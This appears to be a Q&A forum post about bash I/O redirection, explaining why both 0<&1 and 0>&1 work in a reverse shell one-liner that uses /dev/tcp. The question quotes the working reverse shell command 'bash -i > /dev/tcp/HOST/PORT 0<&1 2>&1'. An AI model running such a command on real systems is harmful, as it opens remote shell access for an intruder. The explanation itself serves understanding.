I was searching a way to get a reverse shell in bash, when I found this:bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1As I understand,  stdout and stderr are sent through the connection(/dev/tcp/HOST/PORT), and stdin reads through the connection(0<&1). But, as I read here, the expression 0>&1 works too. This doesn't make sense for me (as I learned, > is for 'write to the following fd', and <  for  'read from the following fd' ) and only should work the first way.My question is:  Did I forget something or I'm absolutely wrong? What are the internal processes involved in this sample of I/O redirection?
Bash : understanding I/O redirection
bash;io redirection
The only difference between the <& and >& syntaxes is that the former checks if the target file descriptor is open for input, and the latter checks if it's open for output. The actual operation is the same in both cases (probably a dup2 call). Meanwhile, > /dev/tcp/HOST/PORT isn't doing an open syscall, like most redirections; the /dev/tcp syntax is a bash special case, and in fact bash is opening a socket (which then behaves like a normal file descriptor w.r.t. the read and write calls). Sockets don't have the property that open files have of being opened for only read or only write; a socket allows both reading and writing (though you can shutdown(2) either half of that, if you want). Thus, bash doesn't redirection-error either of the two syntaxes used, and since the dup2 call is the same, the behavior is identical.